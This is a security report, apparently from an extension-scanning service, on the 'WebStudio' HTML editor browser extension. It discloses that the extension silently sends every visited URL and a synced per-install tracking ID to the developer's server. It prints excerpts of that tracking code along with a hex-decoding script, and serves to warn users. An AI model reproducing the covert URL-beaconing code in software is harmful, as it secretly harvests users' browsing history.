Is HTML editor WebStudio for Webpages safe?
WebStudio is high risk. Dynamic analysis captured GET requests to stream.redcoolmedia.net on every page load. Each page's address is hex-encoded, sent with a per-install ID, for every site except redcoolmedia.net. The listing, an HTML editor, discloses none of it.…
Who publishes itRedcoolMedia - 15 other listings from the same operator, 10 of them carrying a finding
RedcoolMedia - 15 other listings from the same operator, 10 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
15 other listings published from this account, 442k+ users between them. 10 of them carry a finding.
Shared hosts - 2 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extension transmits every visited URL to redcoolmedia.net on each navigation
Dynamic analysis captured GET requests to stream.redcoolmedia.net on every page load.
Each page's address is hex-encoded, sent with a per-install ID, for every site except redcoolmedia.net.
The listing, an HTML editor, discloses none of it.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Dynamic sandbox
You navigate to any website.
Any tab navigation to an http or https URL triggers this behavior.
The extension sends the full URL and your install ID to stream.redcoolmedia.net.
The URL is hex-encoded as the 'l=' parameter; your per-install random ID is appended as 'u='.
HTTP 200. The 'l=' parameter hex-decodes to the visited URL. The 'u=' parameter is the stable per-install identifier.
The page URL is hex-encoded before transmission. The encoding is reversible with a simple hex-to-ASCII decode.
https://www.google.com/Navigation listener and URL transmission (web.js)
function xdii(tabId) { chrome.tabs.get(tabId, function(tab) { // Skip redcoolmedia.net itself and non-http URLs; // also skip if the URL hasn't changed since last check if ( tab.url.indexOf('redco') === -1 && tab.url.indexOf('http') !== -1 && lasiee !== tab.url ) { exx(tab.url); // transmit URL to remote server lasiee = tab.url; // deduplicate } });}async function exx(urly) { // ... retrieve/generate per-install ID ... let rtcx = await fetch( 'https://stream.redcoolmedia.net/api/webstudiou.php?l=' + bin2hex(urly) + '&hex=1&u=' + un );}- stream.redcoolmedia.net
Receives hex-encoded visited URLs and per-install tracking ID via webstudiou.php on every navigation. Operated by redcoolmedia.net, the extension developer.
Decodes the hex-encoded 'l=' parameter from a captured redcoolmedia.net request to recover the original visited URL.
- Node.js 14+
#!/usr/bin/env node// Usage: node decode-redcool-url.js <hex-string>// Example: node decode-redcool-url.js 68747470733a2f2f7777772e676f6f676c652e636f6d2fconst hex = process.argv[2];if (!hex) { console.error('Usage: node decode-redcool-url.js <hex-string>'); process.exit(1);}function hex2bin(hex) { let str = ''; for (let i = 0; i < hex.length; i += 2) { str += String.fromCharCode(parseInt(hex.substr(i, 2), 16)); } return str;}const decoded = hex2bin(hex);console.log('Decoded URL:', decoded);- 1Capture a request to stream.redcoolmedia.net/api/webstudiou.php (DevTools Network tab or a proxy).
- 2Copy the 'l=' query parameter value.
- 3Run: node decode-redcool-url.js <l-value>.
- 4Output is the transmitted page URL.
Per-install tracking ID persists across devices and browser reinstalls
On first run, the extension generates a 10-char random ID stored in chrome.storage.local and chrome.storage.sync.
Sync ties it to your Google account, following you across devices.
Confirmed in every request to redcoolmedia.net as 'u='.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You install and first run the extension.
Any action that causes web.js or apar.js to run for the first time triggers ID generation.
The extension generates a random 10-character ID and stores it in both your local and synced Chrome storage.
The ID is appended to all outbound requests to redcoolmedia.net as the 'u=' parameter, linking your device to all future browsing beacons.
'usernameredcool' in 'redcool_key' is the per-install ID sent with each beacon; the sync copy carries it to other devices on the account.
- Location
- chrome.storage.local key 'redcool_key' and chrome.storage.sync key 'usernameredcool'
{ "redcool_key": { "redcoolonline": "1", "usernameredcool": "kjkc2rufs2" }, "usernameredcool": "juwuwdwjv9"}ID generation and storage (web.js and apar.js)
web.js — ID generation and sync storage
web.js:33-39// On load: check if an ID already exists in sync storageif (chrome.storage.sync.get('usernameredcool', function(obj) {})) { usernameredcool = chrome.storage.sync.get('usernameredcool', function(obj) {});} else { // Generate a new 10-char random ID and persist it to Google account sync usernameredcool = randomString(10).toLowerCase(); chrome.storage.sync.set({ 'usernameredcool': usernameredcool }, function() {});}exx() — local storage ID and use in navigation beacon
web.js:71-99// Retrieve or generate the per-install ID from local storageif (redxda.usernameredcool) { usernameredcool = redxda.usernameredcool;} else { usernameredcool = randomString(10).toLowerCase(); redxda.usernameredcool = usernameredcool;}// ...// ID sent with every URL beaconlet rtcx = await fetch( 'https://stream.redcoolmedia.net/api/webstudiou.php?l=' + bin2hex(urly) + '&hex=1&u=' + usernameredcool);- stream.redcoolmedia.net
Receives the per-install ID as 'u=' on every webstudiou.php navigation beacon and on every webstudiob.php popup load. Operated by the extension developer.
What it can do
Permissions this extension asks for, as declared in version 1.4.7. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
See the address and title of every tab you have open
tabs